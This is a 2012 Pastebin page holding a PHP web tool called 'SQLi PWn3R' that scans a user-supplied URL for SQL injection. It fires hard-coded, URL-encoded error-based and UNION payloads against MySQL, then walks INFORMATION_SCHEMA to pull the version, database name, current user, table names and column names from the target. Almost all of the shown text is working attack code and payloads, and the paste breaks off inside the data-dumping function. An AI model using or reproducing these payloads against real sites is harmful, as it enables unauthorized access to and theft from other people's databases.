API tools faq
paste
Guest User

SQLi.php

a guest
Sep 5th, 2012
458
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 24.99 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /*
  3. SQLi PWn3R
  4.  
  5. Curitcy of:
  6. #GreySecurity
  7. */
  8.  
  9.  
  10. //globals
  11. $string= 'You have an error in your SQL syntax';
  12. $string2= 'supplied argument is not a valid MySQL';
  13. $string3= ':oyu:';
  14. $string4= 'dummy request';
  15. @$url2 = "$url\")'";
  16. $html = @file_get_contents("$url2");
  17. $pos = strpos($html, $string);
  18.    
  19.  
  20. //--------------------------------------------------------------------------------------------------------------
  21.  
  22.  
  23. $a = array(
  24. '%27%20AND%20%28SELECT%208041%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20%28CASE%20WHEN%20%288041%3D8041%29%20THEN%201%20ELSE%200%20END%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27MEpR%27%3D%27MEpR',
  25. '%27%29%20AND%20%28SELECT%208041%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20%28CASE%20WHEN%20%288041%3D8041%29%20THEN%201%20ELSE%200%20END%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%28%27ffAM%27%3D%27ffAM',
  26. '%20AND%20%28SELECT%208041%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20%28CASE%20WHEN%20%288041%3D8041%29%20THEN%201%20ELSE%200%20END%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29',
  27. '%29%20AND%20%28SELECT%208041%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20%28CASE%20WHEN%20%288041%3D8041%29%20THEN%201%20ELSE%200%20END%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%287609%3D7609'
  28. );
  29. $b = array(
  30. '%20-6863%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20CONCAT%280x3a6f79753a%2C0x4244764877697569706b%2C0x3a70687a3a%29%2C%20NULL%2C%20NULL%2C%20NULL%23', //10 cols
  31. '%20-6863%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20CONCAT%280x3a6f79753a%2C0x4244764877697569706b%2C0x3a70687a3a%29%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%23', //8 cols
  32. '%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%2C%20CONCAT%280x3a6f79753a%2C0x4244764877697569706b%2C0x3a70687a3a%29%2C%20NULL%23', //8cols v2
  33. '%20-6863%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%280x3a6f79753a%2C0x4244764877697569706b%2C0x3a70687a3a%29%2C%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%23',//6 cols
  34. );
  35.  
  36.  
  37.  
  38.     foreach ($_GET as $key => $val) $$key=htmldecode($val);
  39.     foreach ($_POST as $key => $val) $$key=htmldecode($val);
  40.     foreach ($_COOKIE as $key => $val) $$key=htmldecode($val);
  41.  
  42.    
  43.    
  44. switch (@$frame){
  45.         case 1: frame1(); break;
  46.         case 2: frame2(); break;
  47.         case 3: frame3(); break;
  48.         case 4: frame4(); break;
  49.         case 5: frame5(); break;
  50.         default:
  51.             switch(@$action){
  52.                 default: frameset();
  53.  
  54.             }
  55.         }
  56.  
  57. function htmldecode($str){
  58.     if (is_string($str)){
  59.        if (get_magic_quotes_gpc()) return stripslashes(html_entity_decode($str));
  60.        else return html_entity_decode($str);
  61.     } else return $str;
  62. }
  63. function html_header($plus=""){
  64.  
  65. echo "
  66. <html>
  67. <head>
  68. <meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">
  69.  
  70. $plus
  71. <style>
  72.    body {
  73.        font-family : Arial;
  74.        color: green;
  75.        font-weight : normal;
  76.        background-image: url('fix.png');
  77.    }
  78.     </style>
  79. </head>
  80.  
  81. ";
  82. }
  83.  
  84. //------------------------------------------------------------------------------------------------------------------
  85.  
  86. //Functions for queries and stuffs
  87.  
  88. if(@$mode_eb == 1){
  89. @$version = "$url+%27%20AND%20%28SELECT%206722%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28MID%28%28IFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27MEpR%27%3D%27MEpR";
  90. @$database = "$url+%27%20AND%20%28SELECT%206870%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27MEpR%27%3D%27MEpR";
  91. @$usuario = "$url+%27%20AND%20%28SELECT%202525%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27MEpR%27%3D%27MEpR";
  92.  
  93.  
  94. }elseif(@$mode_eb == 2){
  95. @$version = "$url+%27%29%20AND%20%28SELECT%206722%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28MID%28%28IFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%28%27ffAM%27%3D%27ffAM";
  96. @$database = "$url+%27%29%20AND%20%28SELECT%206870%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%28%27ffAM%27%3D%27ffAM";
  97. @$usuario = "$url+%27%29%20AND%20%28SELECT%202525%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%28%27ffAM%27%3D%27ffAM";
  98.  
  99.  
  100. }elseif(@$mode_eb == 3){
  101. @$version = "$url+%20AND%20%28SELECT%206722%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28MID%28%28IFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29";
  102. @$database = "$url+%20AND%20%28SELECT%206870%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29";
  103. @$usuario = "$url+%20AND%20%28SELECT%202525%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29";
  104.  
  105.  
  106. }elseif(@$mode_eb == 4){
  107. @$version = "$url+%29%20AND%20%28SELECT%206722%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28MID%28%28IFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%287609%3D7609";
  108. @$database = "$url+%29%20AND%20%28SELECT%206870%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%287609%3D7609";
  109. @$usuario = "$url+%29%20AND%20%28SELECT%202525%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%287609%3D7609";
  110.  
  111.  
  112.  
  113. }
  114.  
  115.     @$versio = @file_get_contents("$version");
  116.     @$databas = @file_get_contents("$database");
  117.     @$usuari = @file_get_contents("$usuario");
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126. function hexEncode($str){
  127.     if(is_null($str)){
  128.     return FALSE;
  129.    }
  130.     $hexStr = "";
  131.      for($i=0;isset($str[$i]);$i++){
  132.        $char = dechex(ord($str[$i]));
  133.        $hexStr .= $char;
  134.      }
  135.       return "0x".$hexStr;
  136.      }
  137. function asciiEncode($str){
  138.       if(!preg_match("/^0x[A-Fa-f0-9]+/",$str)){
  139.        return FALSE;   //Not a hex string
  140.       }
  141.        $str = substr($str,2);
  142.      $asciiString = "";
  143.       for($i=0;isset($str[$i]);$i+=2){
  144.        $hexChar = substr($str,$i,2);
  145.         $asciiString .= chr(hexdec($hexChar));
  146.       }
  147.    return $asciiString;
  148.   }
  149. function GetBetween($content){
  150.     $r = explode(":oyu:", $content);
  151.     if (isset($r[1])){
  152.         $r = explode(":phz:", $r[1]);
  153.         return $r[0];
  154.   }
  155.   return '';
  156. }
  157.  
  158. function mode_comaprison_eb($detectar_t){
  159.  
  160. if($detectar_t == @$detectar)
  161. {return "vulnerable";}
  162. }
  163. function mode_comaprison_uq($detectar_t){
  164. //UNION query:
  165. if($detectar_t == @$detectar2)
  166. {return "vulnerable";}//10 cols
  167. }
  168.  
  169.  
  170.  
  171. function frameset(){
  172.    
  173.     html_header();
  174.        
  175.     echo "
  176.    <frameset rows=\"*,25%\" framespacing=\"0\" frameborder=\"0\">
  177.             <frame src=\"".$_SERVER['PHP_SELF']."?frame=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
  178.         <frameset cols=\"33%,*,33%\" framespacing=\"0\" frameborder=\"0\">
  179.            <frame src=\"".$_SERVER['PHP_SELF']."?frame=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
  180.        <frame src=\"".$_SERVER['PHP_SELF']."?frame=3\" name=frame3 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
  181.             <frame src=\"".$_SERVER['PHP_SELF']."?frame=4\" name=frame4 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
  182.        </frameset>
  183.         <!--    <frame src=\"".$_SERVER['PHP_SELF']."?frame=5\" name=frame5 border=\"0\" marginwidth=\"0\" marginheight=\"0\">!-->
  184.       </frameset>
  185.    ";
  186.     echo "</html>";
  187. }
  188. function frame1(){
  189.             global $string2, $string, $string3, $pos, $url2, $html, $mode_eb, $a, $b;
  190.              global $action, $detectar_t;
  191.     html_header();
  192.      echo "<body>\n";
  193.  
  194.    
  195.  
  196. echo "
  197. <center>
  198. <table border=0 width=700 align=center><tr><Td><center><p style='font-size: 18pt;'>
  199. <br />
  200. <b><font style=\"color: grey;\">SQLi Scanner</font></br></b></td></tr>
  201. </center>
  202.  
  203. </table>
  204. <table>
  205. <tr><td>
  206.  
  207. <center>
  208. <form action=\" ".$_SERVER['PHP_SELF']."?frame=1\" method=\"post\" name=\"forma\" id=\"forma\">
  209. <font style=\"color: silver;\">url:</font> <input type=\"text\" name=\"url\" id=\"url\" size=\"65\"/>
  210. <input type=\"submit\" name=\"forma\" id=\"form\" value=\"search\"/>
  211. </form>
  212. </center>
  213. ";
  214.  
  215. if(isset($_POST['forma']) && $_POST['forma']=='search')
  216. {
  217.  
  218.     $url = $_POST["url"];
  219.     echo "Testing: $url<br><br>";
  220.  
  221.         $as=1;
  222.         foreach($a as $detectar){
  223.  
  224.         $url3 = "$url+$detectar";
  225.         @$html2 = file_get_contents("$url3");
  226.  
  227.         if(strpos($html2, @$string3)==true)
  228.         {
  229.             if(mode_comaprison_eb($detectar) == "vulnerable"){
  230.  
  231.             }
  232.         $mode_eb = $as;
  233.        
  234.         echo "<font color=blue>Detected: ERROR BASED injection =)</font> <br>QUERY: <font size=2 color=red>$detectar</font><br><br>";
  235.         @$eb_i = 1;
  236.        
  237.         }
  238.         $as++;
  239.        
  240.         }
  241.         if (@$eb_i ==1){
  242.                 echo "
  243.                 <center>
  244.     <form action=\"".$_SERVER['PHP_SELF']."?frame=2\" method=\"post\" target=\"frame2\" name=\"tablas\" id=\"tablas\">
  245.     <input type=\"hidden\" name=\"url\" id=\"url\" value=\"$url\"/>
  246.     <input type=\"hidden\" name=\"lol\" id=\"lol\" value=\"$mode_eb\"/>
  247.     <input type=\"submit\" name=\"tablas\" id=\"tablas\" value=\"GET Exploit\"/>
  248.    
  249.     </form>
  250.     </center>
  251.     ";}
  252.  
  253.         foreach($b as $detectar2){
  254.         $url6 = "$url+$detectar2";
  255.         @$html8 = file_get_contents("$url6");  
  256.        
  257.         if(strpos(@$html8, @$string3)==true){
  258.             if(mode_comaprison_uq($detectar2) == "vulnerable"){
  259.                 }
  260.            
  261.         echo "<center><font color=blue>Detected: UNION query inyection =)</font> <br>QUERY: <font size=2 color=red>$detectar2</font><br><br></center>";
  262.         $uq_i = 1;
  263.         }      
  264.        
  265.         }
  266.         if((@$eb_i == 0) && (@$uq_i==0))
  267.         {
  268.         echo "<center><br><font color=red>No injection point found =(</font><br><br></center>";
  269.         }
  270.  
  271.  
  272. }
  273.      echo "</body>\n</html>";  
  274.  
  275. }
  276. function frame2(){
  277.     html_header();
  278. global $string2, $string, $string3, $pos, $url2, $html;
  279. global $action, $detectar_t;
  280.  
  281. if(isset($_POST['tablas']) && $_POST['tablas']=='GET Exploit')
  282. {
  283.    
  284.  
  285.     $url = $_POST["url"];
  286.     $mode_eb = $_POST["lol"];
  287.    
  288. if ($mode_eb==1){
  289.     @$tablas2 = "$url+%27%20AND%20%28SELECT%203830%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%20%3D%20DATABASE()%20%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27MEpR%27%3D%27MEpR";
  290.     }
  291. elseif ($mode_eb==2){
  292.     @$tablas2 = "$url+%27%29%20AND%20%28SELECT%203830%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%20%3D%20DATABASE()%20%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%28%27ffAM%27%3D%27ffAM";
  293.     }
  294. elseif ($mode_eb==3){
  295.     @$tablas2 = "$url+%20AND%20%28SELECT%203830%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%20%3D%20DATABASE()%20%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29";
  296.     }
  297. elseif ($mode_eb==4){
  298.     @$tablas2 = "$url+%29%20AND%20%28SELECT%203830%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%20%3D%20DATABASE()%20%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%287609%3D7609";
  299.     }
  300. $tabla = @file_get_contents("$tablas2");   
  301.  
  302.  
  303.     $i = -1;  
  304.      
  305.      
  306. echo "
  307.     <form action=\"".$_SERVER['PHP_SELF']."?frame=3\" target=\"frame3\" method=\"post\" name=\"columnas\" id=\"columnas\">
  308.     <input type=\"hidden\" name=\"url\" id=\"url\" value=\"$url\"/>
  309.     <select name=\"num\" id=\"num\>";
  310.     while ($i <= (GetBetween($tabla)-1)):
  311.    
  312.         if($mode_eb == 1){
  313.         @$_tablas = "%27%20AND%20%28SELECT%207288%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28table_name%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%20%3D%20DATABASE()%20LIMIT%20$i%2C1%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27MEpR%27%3D%27MEpR";
  314. }elseif($mode_eb == 2){
  315.         @$_tablas = "%27%29%20AND%20%28SELECT%207288%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28table_name%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%20%3D%20DATABASE()%20LIMIT%20$i%2C1%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%28%27ffAM%27%3D%27ffAM";
  316. }elseif($mode_eb == 3){
  317.         @$_tablas = "%20AND%20%28SELECT%207288%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28table_name%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%20%3D%20DATABASE()%20LIMIT%20$i%2C1%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29";
  318. }elseif($mode_eb == 4){
  319.         @$_tablas = "%29%20AND%20%28SELECT%207288%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28table_name%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema%20%3D%20DATABASE()%20LIMIT%20$i%2C1%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%287609%3D7609";
  320. }
  321.     $nums_tablas = "$url+$_tablas";
  322.    
  323.     echo $nums_tablas;
  324.     $n_tabla = file_get_contents("$nums_tablas");
  325.    
  326.     $num = GetBetween($n_tabla);
  327.     echo "<option value=\"".hexEncode($num)."\">$num</option>";
  328.     $i++;
  329.     endwhile;
  330.  
  331.     echo "</select>";
  332.     echo"<input type=\"hidden\" name=\"lol\" id=\"lol\" value=\"$mode_eb\"/>";
  333.     echo "  <input type=\"submit\" name=\"columnas\" id=\"columnas\" value=\"columns\"/>";
  334.     echo "<form>";
  335.  
  336. }
  337. //STILL PLAYING WITH UNION QUERIES
  338.  
  339.  
  340.     }
  341. function frame3(){
  342. html_header();
  343. global $string2, $string, $string3, $pos, $url2, $html;
  344. global $action, $detectar_t;
  345.  
  346.  
  347. if(isset($_POST['columnas']) && $_POST['columnas']=='columns')
  348. {
  349.     $url = $_POST["url"];
  350.     $table_n = $_POST["num"];
  351.     $mode_eb = $_POST["lol"];
  352.    
  353.         if($mode_eb == 1){
  354. @$columna = "$url+%27%20AND%20%28SELECT%201906%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D$table_n%20AND%20table_schema%3DDATABASE()%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27MEpR%27%3D%27MEpR";       
  355. }elseif($mode_eb == 2){
  356. @$columna = "$url+%27%29%20AND%20%28SELECT%201906%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D$table_n%20AND%20table_schema%3DDATABASE()%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%28%27ffAM%27%3D%27ffAM";
  357. }elseif($mode_eb == 3){
  358. @$columna = "$url+%20AND%20%28SELECT%201906%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D$table_n%20AND%20table_schema%3DDATABASE()%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29";
  359. }elseif($mode_eb == 4){
  360.         @$columna = "$url+%29%20AND%20%28SELECT%201906%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28COUNT%28%2A%29%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D$table_n%20AND%20table_schema%3DDATABASE()%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%287609%3D7609";
  361. }
  362.    
  363.  
  364.  
  365.  
  366.    
  367.     @$column = @file_get_contents("$columna");
  368.    
  369.    
  370.    
  371.  
  372. echo "
  373.     <form action=\"".$_SERVER['PHP_SELF']."?frame=4\" target=\"frame4\" method=\"post\" name=\"datas\" id=\"datas\">
  374.     <input type=\"hidden\" name=\"url\" id=\"url\" value=\"$url\"/>
  375.     <input type=\"hidden\" name=\"dz\" id=\"dz\" value=\"".asciiEncode($table_n)."\"/>";
  376.     $i = 0;
  377.    
  378.     echo"<select name=\"num2\" id=\"num2\">";
  379.     while ($i <= GetBetween($column)-1):
  380.         if($mode_eb == 1){
  381.             @$_column = "%27%20AND%20%28SELECT%205724%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28column_name%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D$table_n%20AND%20table_schema%3DDATABASE()%20LIMIT%20$i%2C1%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27MEpR%27%3D%27MEpR";
  382.     }elseif($mode_eb == 2){
  383.             @$_column = "%27%29%20AND%20%28SELECT%205724%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28column_name%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D$table_n%20AND%20table_schema%3DDATABASE()%20LIMIT%20$i%2C1%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%28%27ffAM%27%3D%27ffAM";
  384.     }elseif($mode_eb == 3){
  385.             @$_column = "%20AND%20%28SELECT%205724%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28column_name%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D$table_n%20AND%20table_schema%3DDATABASE()%20LIMIT%20$i%2C1%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29";
  386.     }elseif($mode_eb == 4){
  387.             @$_column = "%29%20AND%20%28SELECT%205724%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x3a6f79753a%2C%28SELECT%20MID%28%28IFNULL%28CAST%28column_name%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D$table_n%20AND%20table_schema%3DDATABASE()%20LIMIT%20$i%2C1%29%2C0x3a70687a3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%287609%3D7609";
  388.     }
  389.    
  390.    
  391.    
  392.    
  393.    
  394.     $nums_columna = "$url+$_column";
  395.     $n_tcolum = file_get_contents("$nums_columna");
  396.     $num2 = GetBetween($n_tcolum);
  397.     echo "<option value=\"$num2\">$num2</option>";
  398.     $i++;
  399.     endwhile;
  400.     echo "</select>";
  401.     echo"<input type=\"hidden\" name=\"lol\" id=\"lol\" value=\"$mode_eb\"/>";
  402.     echo "<input type=\"submit\" name=\"datas\" id=\"datas\" value=\"data\"/>";
  403.     echo "<form>";
  404.  
  405.    
  406. }
  407.  
  408.     }
  409. function frame4(){
  410.     html_header();
  411.    
  412. if(isset($_POST['datas']) && $_POST['datas']=='data')
  413. {
  414.     $url = $_POST["url"];
  415.     $num3 = $_POST["num2"];
  416.     $dz = $_POST["dz"];
  417.    
  418.     $mode_eb = $_POST["lol"];
  419.  
